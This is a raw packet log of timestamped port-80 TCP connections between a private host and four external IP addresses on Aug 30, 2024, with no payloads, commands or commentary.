Aug 30, 2024 03:17:07.179454088 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.190723896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190735102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190745115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190774918 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.190798998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.190813065 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190824032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190833092 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190843105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190860033 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.190887928 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190890074 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.190931082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190942049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190952063 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190963030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.190965891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.190979004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.191001892 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.191037893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.191049099 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.191059113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.191082001 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.191101074 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.200236082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.200247049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.200263023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.200282097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.200290918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.200295925 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.200301886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.200305939 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.200316906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.200325012 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.200347900 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.214426041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214463949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214473963 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214519978 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214531898 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214562893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214589119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214600086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214624882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214629889 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214648962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214659929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214683056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214689970 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214692116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214701891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214710951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214740038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.214740038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.214757919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214767933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214778900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214798927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.214822054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214822054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214834929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214845896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214857101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214868069 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214880943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214893103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.214926958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214936972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214946985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214958906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.214967966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214968920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.214978933 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214978933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.214989901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.214999914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.215004921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215014935 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215018034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.215022087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215044022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215064049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215069056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.215075970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215085030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215095043 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215101004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215107918 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215109110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215120077 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215130091 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215131044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215143919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215153933 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215157032 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215174913 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215186119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215194941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215200901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215229988 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215295076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215306044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215315104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215325117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215334892 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215338945 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215344906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215353012 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215361118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215369940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215430975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215452909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215466022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215468884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215480089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215482950 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215492010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215502977 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215512037 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215513945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215527058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215538025 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215539932 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215552092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215564966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215579987 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215600014 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215687990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215698957 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215708971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215722084 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215732098 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215733051 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215743065 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215754986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215755939 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215765953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215766907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215790033 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215810061 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215826988 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215842962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215853930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215863943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215863943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215873957 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215877056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215888977 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215893030 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215899944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215912104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215919018 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215923071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.215941906 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.215962887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216130972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216141939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216151953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216162920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216170073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216173887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216185093 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216186047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216197968 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216197968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216212034 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216223001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216223955 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216233969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216238976 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216248989 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216253042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216269970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216274977 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216283083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216290951 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216294050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216305971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216310024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216324091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216327906 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216350079 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216367960 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216372967 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216381073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216392040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216403008 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216403961 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216413975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216418982 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216427088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216434956 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216442108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216453075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216474056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216491938 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216504097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216515064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.216542959 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.216567039 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.223505974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.223531008 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.223540068 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.223556042 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.223603010 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.223638058 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.223659039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.223671913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.223681927 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.223691940 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.223695993 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.223714113 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.223735094 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.224097013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224142075 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224149942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.224152088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224174023 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.224184990 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.224224091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224234104 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224242926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224266052 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.224275112 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.224291086 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224302053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224311113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.224334955 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.224359989 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.225480080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225619078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225670099 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.225785017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225796938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225806952 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225817919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225828886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225836992 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.225840092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225847960 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.225852966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225863934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225869894 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.225876093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225884914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225893021 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.225895882 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225908995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225919008 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.225919008 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225931883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.225945950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.225965977 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.226684093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.226737022 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.226820946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.226901054 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227005959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227016926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227027893 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227049112 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227072001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227104902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227118015 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227143049 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227153063 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227354050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227372885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227387905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227401972 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227413893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227421045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227432013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227440119 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227442980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227454901 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.227461100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227485895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.227508068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.228244066 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228266001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228271961 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228318930 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.228322029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228332043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228341103 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228362083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.228370905 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.228379011 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228389978 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228411913 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.228424072 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.228895903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228916883 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228934050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228960037 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228964090 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.228981972 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228991985 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.228991985 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229001999 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229012012 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229023933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229034901 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229034901 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229043961 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229059935 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229068041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229079008 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229084969 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229089022 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229105949 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229132891 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229132891 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229145050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229166985 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229173899 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229177952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229187965 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229203939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229207039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229228973 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229240894 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229250908 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229255915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229275942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229293108 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229321003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229331017 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229346037 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229366064 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229387999 CEST	49735	80	192.168.2.4	31.41.244.9
